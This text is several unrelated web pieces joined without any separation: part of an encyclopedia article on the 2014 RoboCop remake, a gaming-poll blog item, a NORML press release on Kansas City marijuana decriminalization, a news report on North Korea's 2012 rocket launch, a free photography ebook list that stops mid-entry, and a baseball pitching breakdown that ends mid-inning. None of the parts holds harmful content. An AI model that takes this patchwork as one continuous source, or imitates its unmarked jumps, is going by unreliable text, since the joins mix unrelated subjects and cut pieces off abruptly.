On April 12, 2011, rumors stated that MGM was looking at A-list stars such as Tom Cruise, Johnny Depp, and Keanu Reeves to star in the lead role of Alex Murphy/RoboCop in the upcoming remake.[25] On June 16, 2011, pictures of promotional art were released, as well as a sales sheet from the Licensing International Expo 2011 in Las Vegas, NV, promoting a future release of RoboCop which would re-invent the franchise. The promotional material had sparse details of the film but clearly stated that MGM was targeting a 2013 release and José Padilha of Elite Squad and Bus 174 fame was confirmed as director of the film. Michael Fassbender,[26] Matthias Schoenaerts,[27] and Russell Crowe[28] were considered to play the title role. On March 3, 2012, it was confirmed that actor Joel Kinnaman would be playing the lead role,[29] and on March 9, 2012, the film was given a release date of August 9, 2013.[30] Hugh Laurie was set to play the role of the CEO of OmniCorp on June 13, 2012[31] but he later declined.[32] Clive Owen was in the running to replace him until Michael Keaton was cast in the role in August 2012.[33] Edward Norton, Sean Penn, Gael García Bernal, and Rebecca Hall were initially considered for the roles of Dr. Dennett Norton, Novak, Jack Lewis, and Clara Murphy, respectively.[34] The roles ended up being cast with Gary Oldman,[35] Samuel L. Jackson,[36] Michael K. Williams,[37] and Abbie Cornish.[38] Jackie Earle Haley officially signed on in July 2012 to play a "military man named Mattox responsible for training Kinnaman's RoboCop".[39] Jay Baruchel was confirmed to have signed onto the film on July 25, 2012, as Pope, a marketing exec for OmniCorp.[40] Douglas Urbanski, cast as Mayor Durant, is typically a non-actor who is also the decades-long manager and producing partner of Gary Oldman. Rob Bottin's original costume for the title character was re-imagined. Initial reactions were unfavorable[41][42][43] and some compared it with Christian Bale's Batman suit in Christopher Nolan's The Dark Knight films.[41][44][45][46] News reports discussed the new costume's "bionic behind",[47] a "rather derivative" design which "looks more like kevlar body armor than Detroit steel".[48] The Guardian described the new RoboCop as "a crime-fighting machine who is not so much cyborg as skinny bloke in matte-black body armour." and said "The new Robosuit has a scaly, insectoid look to it, with a blacked-out visor rather than the original's steel extended helmet."[49] Before starting filming, Brazilian director Fernando Meirelles revealed that Padilha called him to admit he was having "the worst experience of his life" and "for every ten ideas he has, nine are cut". Padilha, according to Meirelles, says, "It's hell here. The film will be good, but I have never suffered so much and I don't want to do it again".[50] However, Padilha talked enthusiastically about the project at the 2013 San Diego Comic-Con International and in his introduction to the second trailer.[citation needed] Production began in September 2012.[51]
Filming [ edit ]
Filming took place in Toronto,[52] Vancouver and other parts of Ontario.[53] Shooting locations within the city included the University of Toronto where a scene was filmed that appeared to be RoboCop being unveiled to the city of Detroit.[54] Filming in Hamilton began on Monday, September 24, 2012 for five nights.[citation needed] Streets were closed for each of those days from 6pm to 7am.[citation needed] A spokesperson for MGM confirmed that the film was partially shot in Detroit.[55]
Soundtrack [ edit ]
Pedro Bromfman, who collaborated with José Padilha on his Elite Squad films, composed the score.[56][57]
RoboCop (Original Motion Picture Soundtrack)[58] No. Title Artist Length 1. "Mattox and Reporters" Pedro Bromfman 01:35 2. "First Day" Pedro Bromfman 03:23 3. "Title Card" Pedro Bromfman and Basil Poledouris 00:49 4. "Restaurant Shootout" Pedro Bromfman 02:47 5. "Omnicorp" Pedro Bromfman 01:40 6. "Calling Home" Pedro Bromfman 02:45 7. "Made in China" Pedro Bromfman 02:28 8. "Fixing RoboCop" Pedro Bromfman 01:56 9. "Uploading Data" Pedro Bromfman 01:35 10. "Reputation on the Line" Pedro Bromfman 01:31 11. "Explosion" Pedro Bromfman 01:05 12. "RoboCop Presentation" Pedro Bromfman 01:43 13. "If I Had a Pulse" Pedro Bromfman 02:41 14. "Going After Jerry" Pedro Bromfman 03:12 15. "Vallon's Warehouse" Pedro Bromfman 02:21 16. "Murphy's Case is Filed" Pedro Bromfman 01:19 17. "They're Going to Kill Him" Pedro Bromfman 03:16 18. "Rooftop" Pedro Bromfman 02:56 19. "Mattox Is Down" Pedro Bromfman 01:40 20. "Clara and David" Pedro Bromfman 02:56 21. "Sellars Lies" Pedro Bromfman 02:28 22. "Code Red" Pedro Bromfman 02:00 23. "2.6 Billion" Pedro Bromfman 01:23 24. "Iran Inspection" Pedro Bromfman 02:12 25. "Battling Robots" Pedro Bromfman 02:47 Total length: 54:28
Release [ edit ]
Marketing [ edit ]
An OmniCorp website was set up in early 2012. A film-specific RoboCop site was launched nearer the release date. A rough trailer and some film footage featuring Samuel L. Jackson's and Michael Keaton's characters was shown at the 2013 San Diego Comic-Con International. According to director Padilha, the first theatrical trailer was supposed to debut with Elysium, but it was instead released online on September 5, 2013, and was attached to showings of Riddick. Two further trailers were also released, one of which was uploaded to Yahoo! Movies with an introduction from Padilha, in which he said, "I'm thrilled to have had the chance to direct this movie ... I'm a fan of the original movie because it was ahead of its time both aesthetically and thematically. Back in '87, it was talking already about automated violence — both in war and law enforcement. And now, we actually have that happening in our lives and it's going to be more and more present. So we already have the drones. Now we're going to have automated robots doing law enforcement and replacing soldiers in the battlefield. So we had a chance to make this movie and talk about this." Two main posters were released in late 2013, with one showing CTBA complex in Madrid. TV spots were uploaded to Sony Pictures and StudioCanal UK's YouTube channels from January 2014. A video game for Android and iOS was released as a tie-in to the film.[59] Jada Toys released a range of action figures, including a radio control RoboCop on his Police Cruiser and roleplay merchandise including the new RoboCop helmet and chestplate. Two detailed figures from the film were released in April 2014 from Play Arts Kai.[needs update] The company threezero is also creating two RoboCop figures and a camo-coloured ED-209. Four one-shot comic tie-ins were published weekly starting from the week of theatrical release in the US. They were collected in a trade paperback edition under the title RoboCop: The Human Element to coincide with the home media releases.
Home media [ edit ]
RoboCop was released on DVD and Blu-ray on June 3, 2014 in the United States by 20th Century Fox Home Entertainment.[60] Best Buy had an exclusive Metalpak edition, while the Target edition came with an exclusive digital download of the previously unreleased comic "Gauntlet". In the UK, an exclusive Amazon steelbook was made available on June 9.
RoboCop Day [ edit ]
To coincide with the home media releases, Detroit celebrated with "RoboCop Day" on June 3, 2014, during which RoboCop was photographed with fans throughout the city, and threw the first pitch at the Detroit Tigers game.
Reception [ edit ]
Box office [ edit ]
Robocop opened in 3,372 theaters in The United States and grossed $21,681,430, with an average of $6,430 per theater and ranking #3 at the box office. The film ultimately earned $58,607,007 domestically and $184,081,958 internationally for a total of $242,688,965, on a $100 million budget.[6]
Critical reception [ edit ]
RoboCop received mixed reviews.[61] On review aggregation website Rotten Tomatoes, the film has an approval rating of 49% based on 208 reviews and an average rating of 5.6/10. The site's critical consensus reads, "While it's far better than it could have been, José Padilha's RoboCop remake fails to offer a significant improvement over the original."[62] On Metacritic, which assigns a weighted average based on selected critic reviews, the film has a score of 52 out of 100 based on 41 critics, indicating "mixed or average reviews".[63] On CinemaScore, audiences gave the film a "B+" grade, on an A+ to F scale.[64]
RoboCop received several comparisons to the 1987 film; the consensus was that it fell short.[66] Guy Lodge of Variety said that "It's a less playful enterprise than the original, but meets the era's darker demands for action reboots with machine-tooled efficiency and a hint of soul."[67] Leslie Felperin from The Hollywood Reporter wrote that the remake "has a better cast, more meticulous script and, naturally, flashier effects, but it lacks the original's wit and subversive slipperiness."[68] Brian Viner from Daily Mail said that while he was "not predisposed to like this shiny new RoboCop for making me feel ancient, it does have an appealing vitality."[69] Andrew Osmond from SFX says, "It's not a classic like Paul Verhoeven's 1987 original, but it is an excellent, intelligent SF drama", believing it is "one of the boldest Hollywood reboots we've seen yet."[70]
Chris Hewitt from Empire wrote, "there's a sense that Padilha, or perhaps his corporate overlords, don't really get what made the original so special."[71] Nigel Andrews from Financial Times called it "a leaden, needless remake".[72] Peter Bradshaw of The Guardian wrote it was "a dumbed-down shoot-em-up frontloaded with elaborate but perfunctory new 'satirical' material in which the movie loses interest with breathtaking speed".[73] His fellow Guardian film critic Mark Kermode rated it 3 out of 5 stars, writing that "against the odds, this emerges as far less depressing fare than one might have expected, retaining the key elements of political satire and philosophical musings that powered Verhoeven's original" and "at least it appears to have been made by someone who understands what made the original great."[74]
Cancelled sequel and reboot [ edit ]
On September 11, 2015, Den of Geek reported that Sony was working on a sequel.[75] However in July 2018, it was announced the series would again be rebooted with a film directed by Neill Blomkamp, titled RoboCop Returns, which will serve as a sequel to Verhoeven's original film and ignore the events of previous sequels and the 2014 reboot.[76][77]
The votes are in! The good news is Gran Turismo still holds the crown for best driving simulator on the market. Recently media conglomerate CNET did a readers poll which pitted the driving jauggarnaut, GT5 vs. the “Johnny come lately” Forza Motorsport 3.
Well contrary to what others have reported, Gran Turismo has reigned supreme. This is in spite of Forza’s Community Manager greasing the palms of Forza forum users with rare DLC for Forza 2. Some may feel that this is merely an incentive, but the publisher or the developer had to be aware of this. Who else would have green lighted giving away DLC in such quantities? The forum thread netted well over 2,200 replies, the majority were requests for the DLC.
Gran Turismo 5 52% (15731 votes) vs. Forza Motorsport 3 48% (14530 votes)
[Source]
Related:
Ballot initiative run by local group passes 71 to 29 to end arrests for possession of marijuana
Kansas City, MO – In a blowout victory for sensible criminal justice policy, the voters of Kansas City, Missouri have decided to approve Question 5 and decriminalize marijuana to direct their law enforcement officers to no longer target citizens for possession of the plant and would replace current criminal penalties with just a civil fine.
The measure will amend local laws regarding the possession of up to 35 grams of marijuana for adults age 21 and older from a criminal misdemeanor, previously punishable by up to six months in jail and a $1,000 fine, to a civil offense punishable by a $25 fine — with no arrest made or criminal record imposed.
“We could not be more excited about the positive impact passing Question 5 will bring to the communities of Kansas City. We fought long and hard for this result and could not have done it without the support of our volunteers,” said Jamie Kacz, Executive Director of KC NORML. “The era of reefer madness in Kansas City has come to an end and no longer will otherwise law abiding citizens be targeted or arrested for the mere possession of marijuana.”
This is yet another victory in the march to end the criminalization of marijuana in the United States.
“The passage of this initiative is not just a victory for the people of Kansas City, but for the democratic process,” said Erik Altieri National NORML’s Executive Director, “When concerned citizens stand up, stand together, and fight back against unjust laws, we will win. The overwhelming majority of Americans want to end our nation’s war on marijuana consumers and politicians across the country should take heed of the message voters sent in Missouri: if you don’t reform our marijuana laws through the legislature, we the people will do it for you.”
Nationally, more than 600,000 people a year are arrested for simple marijuana possession alone. These arrests are disproportionately targeted, the ACLU found that the racial disparity in marijuana charges were levied against people over color, by nearly 4 to 1.
“Kansas City now joins the ranks of dozens of cities and states throughout the country that have ended the practice of arresting marijuana consumers,” said Kevin Mahmalji, outreach coordinator for NORML. “We at NORML are incredibly proud of the efforts of Jamie Kacz and her team at KC NORML and thank the voters of Kansas City for bringing a new era of sanity their law enforcement priorities and the overarching movement to end the prohibition of marijuana.”
Kansas City now joins a growing list of cities around the country that have adopted a more pragmatic approach for dealing with marijuana-related offenses on the local level. Houston, Memphis, Nashville, Tampa, Orlando, Milwaukee, Monona, Toledo, Philadelphia, Pittsburgh and several others have decriminalized the possession of small amounts of marijuana.
For more information, visit http://www.normlkc.org/ or http://norml.org/
The launch of the Unha-3 rocket, which North Korea says will merely put a weather satellite into space, breaches U.N. sanctions imposed to prevent Pyongyang from developing a missile that could carry a nuclear warhead.
Russia, a former backer of North Korea which has boosted economic ties with Pyongyang, denounced the program.
“We consider Pyongyang’s decision to conduct a launch of a satellite an example of disregard for U.N. Security Council decisions,” state-run news agency RIA quoted Russian Foreign Ministry spokesman Alexander Lukashevich as saying.
North Korea defended the launch as a sovereign right.
“The weight of our satellite is 100 kg. If it was a weapon, a 100 kg payload wouldn’t have much of an effect... Our launching tower is built on an open site,” said Ryu Kum-chol, vice director of the space development department of the Korean Central Space Committee.
Ryu said that the rocket assembly would be complete on Tuesday.
The launch is set to take place between Thursday and next Monday around the 100th birthday celebrations of the founder of North Korea, Kim Il-sung, whose grandson, Kim Jong-un, now rules. Kim Il-sung died in 1994.
“The launch of the Kwangmyongsong-3 satellite is the gift from our people to our great leader, comrade Kim Il-sung, on the occasion of his 100th birthday, so this cannot be a missile test,” Ryu added.
Ryu Kum Chol (C) of North Korea, Deputy Director of the Space Development Department of the Korea Space Technology Committee, holds a news conference in Pyongyang April 10, 2012. REUTERS/Bobby Yip
The West says the launch is a disguised ballistic missile test by a country which walked out of so-called six-party disarmament talks three years ago.
NUCLEAR TEST ALSO PLANNED, SAYS SOUTH
South Korea, which remains technically at war with the North after their 1950-53 conflict ended with a truce rather than a treaty, warned Pyongyang it would deepen its isolation if it went ahead with the launch.
Security sources in Seoul, citing satellite images, have said that North Korea is also preparing a third nuclear test following the rocket launch, something it did in 2009, a move bound to trigger further condemnation from the West.
“It is disappointing that the North is forcing its people to endure sacrifices with this provocative action and is bringing isolation and sanctions to itself from the international community,” the South’s Unification Ministry said in a statement.
The rocket will bisect a sea that separates South Korea and China and its flight path will take it towards the Philippines where a second stage of the rocket is due to come down in waters close to the archipelago.
China, which backs North Korea economically and diplomatically, reiterated its pleas for calm and said it had “repeatedly expressed its concern and anxiety about the developments”, Foreign Ministry spokesman Liu Weimin told a press briefing in Beijing.
The prospect of a North Korean rocket launch has alarmed Japan, which was overflown by an earlier rocket and said it would shoot it down if it crossed its airspace.
British Prime Minister David Cameron said in Tokyo he would discuss North Korea with Japanese Prime Minister Yoshihiko Noda.
Ryu Kum-chol of North Korea, deputy director of the Space Development Department of the Korea Space Technology Committee, holds a news conference in Pyongyang April 10, 2012. REUTERS/Bobby Yip
“I think a message needs to go to the North Koreans,” he told reporters. “You have a new leader, there’s an opportunity to take a new path. This is a country incapable even of feeding its own people, that needs to change its approach.”
Airlines, including South Korea’s Korean Air Lines, Philippine Airlines and Cebu Air Inc, have re-routed flights to avoid the rocket’s path.
I’ve scoured the web to create what I consider to be the ultimate list of free photography books. This list of over 50 free books includes those that have been recommended to me time and time again by other photographers.
I’ll be adding to this list of free photo books when I come across more. If you have any good recommendations, please leave them in the comments so everyone can benefit.
Free Photography books to Download Today
Below is a list of over 50 free photography books which are recommended time and time again, and for good reason.
If you enjoy the free photography books, make sure you visit the sites below to leave comments/thank the authors for their hard work.
Free books do have their limits though, so if you’d like to go further in depth on the vast topic of photography, here’s a list of the best photography books.
…and if you’re into getting things for free, or saving money with your photography hobby, check out the best point and shoot camera under $200.
The Ultimate List of Free Photography eBooks
Selling Fine Art Photography – by PhotoShelter
Fine art photography is a way for the photographer to express his work as an artist, without the constrains of a particular genre. Selling fine art photography can be a lucrative venture if conducted well, and in this free ebook you’ll learn some of the tips to making your first sale.
The Photographer’s Guide to Copyright – by Photo Shelter
Make sure you know where to stand regarding the law and your ownership of images. Photo Shelter pumps out the free photography books, and this is one of many they offer.
The Camera Buying Guide – by Photo Concentrate
Whilst guides such as these quickly go out of date, this one by Photo Concentrate contains some useful tips on your next camera purchase that are still very much relevant today.
11 Ways to Improve your Photography – by Craft & Vision
Make your images more dynamic, shoot stronger portraits and how to refine your composition are just a few of the topics covered in this free photography ebook.
Craft & Vision II – by Craft & Vision
If you enjoyed the first in their series of ebooks, you’ll love this second edition which covers more great ways to make stronger photographs.
Selling Stock Photography: A Guide to Licensing Images From Your Archive – by PhotoShelter
There’s a lot of money to be made from stock photography. It’s a rare photographic passive income source, which can allow you to make money while you sleep. Here’s a good guide on how to get started.
Street Photography – by Alex Coghe
Insightful tips from an experienced street photographer, all crammed into this free photography ebook. Get inspired for your next excursion onto the street, and gain the confidence needed to get up close and personal with unknown subjects.
Street Faces – Thomas Leuthard
This free photography ebook is all about the candid art of street photography portraiture. It’s an essential read for anyone who lacks the guts to get close up before clicking the shutter button.
Lighting 101 – by David Hobby
Mr Strobist breaks down the essentials of lighting in this easy to understand ebook on a very complicated topic. David explains all the elements of flash lighting in an accessible and enjoyable way.
Explore Flickr – Thomas Leuthard
Another free ebook by Thomas Leuthard, this time explaining how he achieved early success on Flickr. Despite being published more than 5 years ago, much of the advice is still very relevant, even for other social media networks.
Good Photos in Bad Light – by Darwin Wiggett
I love the title of this free photography ebook which includes plenty of tips and tricks to get the most out of every lighting situation you find yourself in. Essential reading for all the budding wedding photographers out there.
Guide to Portrait Photography Basic – by Adorama
No matter what your level as a photographer, it’s always possible to improve. This free guide on portrait photography from Adorama can help both beginners and advanced photographers alike, with easy to follow guides on developing and maintaining a solid foundation of portrait photography. Definitely something for everyone.
The 2016 Photo Business Plan Workbook – by Photo Shelter
Updated for 2016, you’re provided with a step-by-step guide to help you implement a rock solid business plan, target the photo clients you want, and land more gigs.
8 Types Of Natural Light That Will Add Drama To Your Photographs – by Anne McKinnell
Who’d have though there were so many different types of natural light? Anne describes the best way to use your camera in different natural lighting situations in this useful free photography ebook available on iTunes.
The Shy Photographer’s Guide To Confidence – by Lauren Lim
This one’s been around for a while but the information is just as relevant today as ever. Photographers are often introverted characters, and this free photography ebook gives advice on how to gain the confidence to interact with your subject and become a better photographer.
Set Up Your Own Photoblog – by Nancy Messiah
Love it or loathe it, blogging is a powerful way to get your photography work out into the world. Nancy explains the basics of setting up a blog for your personal or professional work. You should also check out my Shotkit guide on how to make a blog.
Ten – by David duChemin
You’re probably more familiar with David duChemin from his video work with Canon cameras, but he also writes free photography books. In Ten, David delves into 10 techniques and ideas that will help elevate your photography.
Ten More – by David duChemin
More of the same from an expert in the industry, this time regarding techniques, ideas and exercises to give your photography a refresh and perhaps teach you some new tips.
Creative Lens Techniques – by Photo Answers
Selective focus and hyperfocal distance are two of the topics covered in this interesting read by Jessops and Photo Answers magazine.
Before The Shutter: Planning Your Next Travel Photography Adventure by Anne McKinnell
An interesting read on a topic that’s not very often discussed – the planning that goes behind a photography trip. You’ll learn essential tips and techniques to get the most from your next trip, to be well prepared before you even pick up your camera.
Starting a Photo Business – by Photo Shelter
These guys know what they’re talking about when it comes to building a successful photography business. If you need a hand with where to start, check out this free ebook.
Insights from Beyond the Lens – Inside The Art and Craft of Landscape Photography – by Robert Rodriguez Jr
Stunning landscape photography and an entertaining read about a journey to discover the art, craft and passion that lies behind landscape photography.
A Photographer’s E-Guide to Making Sharp Photographs – by Scott Bourne
Getting sharp photos isn’t just about your shutter speed. Learn the tips and tricks to a razor sharp photo in this great free ebook by one of the industry’s greats.
Nine Motivational Essays on Photography – by Scott Bourne
A break from the technical stuff with this inspirational free photography ebook based on Scott’s own experiences in the field.
The Photographer’s Social Media Handbook – by Photo Shelter
Even though some of the information in this free ebook by Photo Shelter is dated, there’s still a lot of useful tips that can guide you through the social media maze. There’s a more up to date (2016) guide to social media available by Shoot Dot Edit but I was unable to download it for you at this time due to their server error – you may have better luck.
20 Indispensable Photo Tips – by Ian Plant
Ian kindly shared his photography gear and favourite wildlife and landscape work on Shotkit recently and I urge you to check out his free photography ebook.
Going Candid – by Thomas Leuthard
The first ebook of Thomas Leuthard where he describes the basics of Street Photography based on his own experiences pounding the pavement.
The Heart of Portraiture: Examples of Portrait Photography – by Don Giannatti
20 examples of portrait photography and a discussion on the technique and thought process that went into shooting them, all from photographer and author of Lighting Essentials.
31 Days to Overcome Your Fear of Shooting Street Photography – by Eric Kim
Eric is a wealth of knowledge on the topic of street photography. His fearless attitude when it comes to getting the shot is explained in this free photography ebook. Never fear pressing the shutter on the street again!
13 Tips for Wildlife Photography – by Photo Naturalist
Essential reading for your next safari trip to Africa, or simply when you feel like taking a walk on the wild side, camera in hand!
Essays on Inspiration, Creativity & Vision in Photography – by Scott Bourne
Another interesting free read by Scott Bourne, this time on how he maintains creativity in his work.
Five Easy Steps To Shoot In Manual Mode – by Kimberly Gauthier
Shooting in manual mode is essential for your advancement as a photographer. This free ebook does a good job in breaking down the steps necessary to make that jump.
How to Take Stunning Food Photos – by Learn Food Photography
Whether you want to become a professional food photographer or just want some tips to make your Instagram updates look their best, this free ebook will help.
Shooting Black & White on your dSLR – by Photo Answers
Another free ebook from this UK magazine which discusses the merits of shooting black and white photos in a predominantly colour age.
The Text Book of Digital Photography – by Dennis P. Curtin
Why anyone would want to give this mammoth 270 page ebook away for free is beyond me, but definitely one to dig into when you want to explore some of the ins and outs of digital photography.
Urban Exploration Photography – by Neil Ta
Urbex as it’s known is a fast growing photography niche and this free ebook does a great job in introducing it. Don’t be surprised if it makes you want to go out and grab a compass and map…
7 Simple Ways To Market Your Wedding Photography Business – by Photography Concentrate
Even if you’re an experienced Wedding Photographer, there’s still room for improvement with your marketing in this useful free ebook by Photography Concentrate.
Photography Tips For Beginning Photographers, Amateur Photographers & Experienced Amateur Photographers – by Kalem Aquil
A bit of a broad ranging free photography ebook this one, but still, some useful advice especially for the beginner photographer or those just using cheaper cameras and mobile phones.
Going Candid by Thomas Leuthard
If you’re interested in street photography, this free ebook gives a great introduction to a broad range of topics – equipment, workflow, post processing and the passion behind a popular genre of photography.
Collecting Souls by Thomas Leuthard
Who could resist a photography ebook with such a beautiful title?! Thomas discusses mentality and motivation, with a particular focus on how to handle criticism, the importance of passion and general street photography practice.
Street Photography for the Purist – by Chris Weeks
A collection of raw and gritty black and white photos, including commentary on technique by this street photographer.
15 Incredible Bird Photography Tips For Beginners – by Prathap
I’m not sure if the tips really are that ‘incredible’, but nevertheless, if you’re interested in bird photography this free ebook will give you 15 ideas to think about before clicking the shutter.
*Essential – by Ian Plant
This free photography ebook contains stunning landscape and wildlife photography captured from around the world illustrating lessons on the creative use of light, composition, and the magic of the moment. You’ll learn how to tell better stories of your subjects, bringing your photographs to life in a compelling way.
Exposure: Understanding Light – by Nigel Hicks
A detailed explanation in this free photography ebook from a 4 part course that delves into the somewhat complex topic of light, and why it’s the photographer’s number one ally.
HDR Top Tips by Klaus Herrmann
Similar to exposure blending is the technique of HDR photography. Learn how to get the most punch out of the dynamic range of your camera’s files and learn how to do HDR photography in this interesting tip book.
The Guide to Sports Photography – by Adorama
Despite being somewhat dated, this ebook from Adorama still manages to pack in some useful tips on an exciting career in sports photography. Learn how to capture athletes in motion and other tips on specific sports.
Introduction to External Flash Photography – by Photo Extremist
The complicated topic of off camera flash photography made easier to understand. Essential reading in this free photography ebook.
Photoshop CS6 Essential Skills – by Mark Galer & Philip Andrews
Taken from the book of the same name, this introduction to the essential skills of Photoshop CS6 includes guides on useful post processing techniques such as colour grading, tilt-shift, faux Holga, lens flare and several more. If you’re interested in improving the look of your photos using Photoshop, this free ebook available on the iTunes store is a good one.
Lightroom Hot Tips – by Shotkit
How could I have written a list on the best free photo books without including the Lightroom Hot Tips?! Learn a handful of useful tips and tricks to make your Lightroom experience more efficient and enjoyable. If you find it useful, there is much more great content in this Lightroom Tips book.
Photography for Beginners – by Joseph Scolden
Not everyone who visits Shotkit is an experienced photographer. For those of you who are picking up a dSLR camera for the first time, this free photography book could be of use to you. The author goes into detail about the main functions of a dSLR camera, and how you can use them to take your first photo. If you’re just starting out, you might also be interested in this post on the best cameras under $500.
10 Tips to Improve your Travel Photography – by Michael Chia
I wasn’t expecting much from this short photo book that’s available for free on iTunes, but I was pleasantly surprised. As well as the 10 useful tips to improve your photography while on holiday, the ebook also contains some really good photos – vibrant, well composed and of interesting subjects. Definitely one to install on your iPad for some holiday reading.
Lighting Essentials – by UNSW
As always, let’s look first at Matz’s strikezone plot for the game:
I’m not going to hold back, this is a pretty bad plot. There are few pitches down in the zone with plenty of wasted pitches that are far off the plate both arm-side and high (top right) and Fastballs that he just could not locate away to left-handers. We’d want to see more Changeups and Curveballs located in the bottom third and underneath the strikezone, but the majority of his Curveballs were middle or elevated, while Changeups were split between being high in the zone or low. On the positive, there were a vast amount of pitches inside the zone and Matz was rarely behind in the count the entire day. Still, I’d much rather see more pitches around the edges of the zone than a shotgun blast inside of it.
Now let’s move through the innings and watch how Matz got through seven frames with just 1 ER to his name:
First Inning – 15 Pitches, 11 Strikes, 1 Hit, 0 BBs, 0 Runs
Here were the first two pitches Matz threw to start his evening:
It should come to no surprise that Matz would feature more Fastballs than usual to begin and got ahead 0-2 with two solid heaters over the plate. After barely missing inside with a Fastball then a mediocre Curveball away, he got a groundout with a heater. Not a great finish to the at-bat, but an important first out.
Now, if you don’t remember Matz’s MLB debut, the very first batter he faced was Brandon Phillips, who Matz got behind fast (nerves are a major factor in MLB debuts) and sent a 3-1 Fastball into the bleachers. This time, Matz tried to get a feel for his secondary pitches and was 1-for-3, missing badly with a Curveball and Changeup, while having a deuce fall in for a strike. At 2-1, Matz didn’t give in and threw a heater over the plate, which Phillips lined up the middle for a single. These are the kind of things you’d expect after missing plenty of time, and I was hoping that Matz would find a groove for his secondary pitches as he traveled through the game. (Spoiler alert: Not really)
Two Fastballs to Nick Markakis were great to see as it’s clear Matz has a foundation in place early with his heater. His second one had a little bit of a dip at the end that made it look like a Cutter, but I’m going to believe it was the camera angle more than the actual pitch. At 0-2, Matz wanted a Curveball away and instead threw poor Curveball that Markakis swung through. Here’s the whole at-bat to understand how Matz set up the 0-2 pitch but didn’t execute it well:
It’s obviously not the best offering, but it had enough action and was close enough to the plate for Markakis to take an awkward cut. It’s just like we saw in the strikezone plot where Matz was highly inconsistent with his breaking ball.
With two outs, Matz faced Matt Kemp and used his Fastball exclusively, staying away from the right-hander to get him to flyout on a 1-1 pitch. His heaters didn’t have the best locations, but he avoided the heart of the plate enough to get the out.
Second Inning – 10 Pitches, 6 Strikes, 0 Hits, 0 BBs, 0 Runs
I was hoping that as Matz faced the lower part of the Braves order that he would experiment a little more with his secondary pitches – Changeup and Curveball – to allow him to throw them with confidence against the top half of the order. He had that idea as he threw two straight Curveballs to Matt Adams but missed with both:
Still not there, but I love his aggression to stick with it until he gets it. He went back with three straight Fastballs after, leading to a groundball out to second base. Not the most polished once again, but it worked and avoided a walk.
With Kurt Suzuki up, Matz didn’t have any fear and threw a Fastball right down the pipe to open the at-bat, leading to a long flyout to center. There’s no way he throws this pitch to Matt Kemp, but Matz knew who he was facing and earned an out because of it.
Next up was a first pitch strike to Dansby Swanson with a Fastball on the corner as the clear approach for Matz has been to go Fastballs away against right-handers. Matz’s two best Curveballs of the day followed, the first traveling across the entire plate for a whiff, followed by one in the dirt that nearly induced a chase from Swanson.
Well executed pitches and great location for an 0-2 pitch, even if it missed its spot. The pitch serves two purposes: 1) Try to end the at-bat here with a whiff or 2) set-up the next pitch, which would be an inside Fastball along the same horizontal plane but staying up in the zone for a strike. Matz tried to hit the spot, but it peeled out toward the middle of the plate. Fortunately for him, Swanson hit into foul territory for a lazy fly that even Jay Bruce could track down for the third out.
Third Inning – 9 Pitches, 7 Strikes, 1 Hit, 0 BBs, 0 Runs
Matz opened the third inning with two Fastballs for an 1-1 count, then floated a Curveball over the plate that Johan Camargo laced for a single to center. He’s fortunate that he made this mistake against the #8 hitter.
Opposing pitcher Matt Wisler laid down a bunt for the first out, then Matz got a lazy flyout on a first pitch Fastball for the second out.
Now the fun begins. Matz missed with a high-away Fastball – we haven’t seen Matz miss low yet, which does tell me his timing is a bit off thus far – but followed it up with a perfectly executed Changeup for a whiff down and away, a Fastball right on the outside corner for a second whiff, then a down-and-in Curveball that crossed the whole plate to dive under Phillips’ bat:
That’s prime Matz and hopefully we will see plenty more of this. He completely controlled the at-bat starting with that 1-0 pitch and Phillips didn’t have a chance.
Fourth Inning – 12 Pitches, 8 Strikes, 0 Hits, 0 BBs, 0 Runs
To start the inning, Matz missed with a Curveball just a little worse than the pitch he struck out Markasis with previously. A solid 1-0 Fastball on the outside corner with another one a little higher got him to 1-2, but he got away with a questionable Curveball that was lined to Neil Walker:
That should be away, and we haven’t yet seen Matz make that pitch against a left-hander yet. There’s work to be done.
Matz got to 1-1 against Kemp and tried to throw a Changeup over the plate, but missed high and away. Just one solid Changeup on the day out of three so far. He followed it up with two more Fastballs – one excellent 2-1 pitch along the outside corner for a foul ball and another that missed his spot but earned a chopper back to the mound:
Finally, Matz is able to throw his Curveball away from a left-hander for strike as he jumped ahead 0-1 to Adams. After trying the same pitch again and missing low, Matz tossed another missed Fastball that was still in the zone but not in the center that Adams rolled over for the third out:
It’s odd since Matz clearly doesn’t have the command we’ve seen in the past, but the Braves bats are having trouble getting solid contact on his heater. Normally Matz sits lower in the strike zone, but most of his Fastballs are up in the zone and missing their locations. Still, it’s working and he’s not missing for major mistakes…but it could be a product of a weak Braves lineup. It’s hard to be incredibly confident so far despite just two hits and zero walks to his name.
Fifth Inning – 8 Pitches, 7 Strikes, 0 Hits, 0 BBs, 0 Runs
After sitting down for a long top of the fifth from the Mets offense, Matz came out with a great Fastball to earn a quick first out against Kurt Suzuki:
…and of course Matz follows it with a terrible high Fastball that is easily taken for ball one against Dansby Swanson. It’s once again high-and-away from a right-hander, which we normally see from someone flying open too soon, or their arm is lagging behind their body on delivery. Nevertheless, he rebounded with a good Fatball for a foul ball, then a picture prefect Changeup that falls in for strike two:
That’s great to see. Only the second Changeup of the game that Matz command as he wanted, but it was a crucial 1-1 pitch that forced Swanson to be on the defense for the next pitch. Now, d’Arnaud set up inside for a Fastball and even though Matz didn’t jam it in as much as he would like, the previous Changeup made Swanson have trouble connecting and earned a lazy groundout.
Matz jumped ahead quickly with two Fastballs to Johan Camargo, the second having good life to come back over the plate. Once again, Matz went inside while up in the count and this time executed it perfectly, jamming Camargo for a weak flyball out.
Sixth Inning – 21 Pitches, 13 Strikes, 1 Hit, 1 BB, 0 Runs
Lane Adams pinched-hit for Matt Wisler to lead off and hit a base hit to right after a Fastball for a strike and a low Changeup that wasn’t a bad pitch. Just how it goes some times.
Matz got ahead once again 0-2, this time against Danny Santana, missed with a bad high heater, then spotted a 1-2 Fastball perfectly on the inside corner…that was called a ball. Great pitch. 2-2 was a beautiful Changeup on the outside corner that was fouled off and another Fastball missed for ball three. Matz then turned to his Curveball that hung way up on the zone that Santana lofted into left field. Fortunately for Matz, it resulted in an out instead of a 2-run shot. You be the judge if you think Matz got away with one (I sure think he did):
With two-outs and a man on first, Matz tried hitting the outside corner with his Fastball to left-handed Nick Markakis and fell into an early 3-0 hole. There weren’t the “poor” pitches that I’ve talked about before and were instead somewhat near the plate, but far from ideal. After an easy 3-0 strike, he overthrew a heater in the dirt for his first walk of the day. It’s one of those at-bats you just throw away and move on to the next guy.
